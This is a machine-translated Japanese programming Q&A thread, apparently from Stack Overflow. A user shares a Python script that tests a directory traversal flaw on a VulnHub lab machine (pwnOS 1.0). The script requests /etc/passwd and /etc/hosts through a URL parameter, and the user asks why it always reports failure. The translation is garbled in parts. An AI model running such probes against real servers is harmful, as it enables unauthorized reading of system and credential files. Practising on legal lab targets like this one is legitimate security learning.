スクリプトチェック
以下の簡単なスクリプトは、ディレクトリトラバーサルの脆弱性をチェックするスクリプトです。ファイルは、ウェブサーバがエラー "ストリームをオープンに失敗しました" を返しますが存在しない場合は
http://192.168.152.152/index1.php?help=true&connect=の/ etc/hosts http://192.168.152.152/index1.php?help=true&connect=/etc/passwdファイル
:それはのようなファイルのために例えばチェックします。
import requests
def checkfile(file):
url = 'http://192.168.152.152/index1.php?help=true&connect=%s'%(file)
r = requests.get(url)
**if "failed" not in (r.text):**
status = "[OK]"
return status
else:
status = "[FAILED]"
return status
with open('files', 'r') as f:
for file in f:
result = checkfile(file)
print "File %s %s" %(file, result.strip())
は、ファイルが存在しないと何のエラーメッセージがスローされ、 "失敗した" としても、私のスクリプトは常に返さ私の問題 "[FAILED]"。 r.text
には、weserver(htmlページ)からの応答全体が含まれています。誰が助けることができますか?
ps。これは法的なセキュリティ挑戦の一部です(https://www.vulnhub.com/entry/pwnos-10,33/)
あなたのコードは 'r.text'列として'「失敗」 '含まれているかどうかを「失敗」のエラーメッセージがスローされますが、かどうかをチェックしません。 – Goyo
ありがとうございます。はい、しかし失敗した場合はr.textにする必要があります(そうでなければなりません)。なぜ、ifが失敗したのですか?(r.text)ではありません: 'not work?それに代わるものは何ですか? – bsdanm
あなたはそれがうまくいかないと思いますか?あなたは「そうすべきですか」と言いましたが、それは意味がありません。実際の 'r.text'の内容だけが重要です。 – Goyo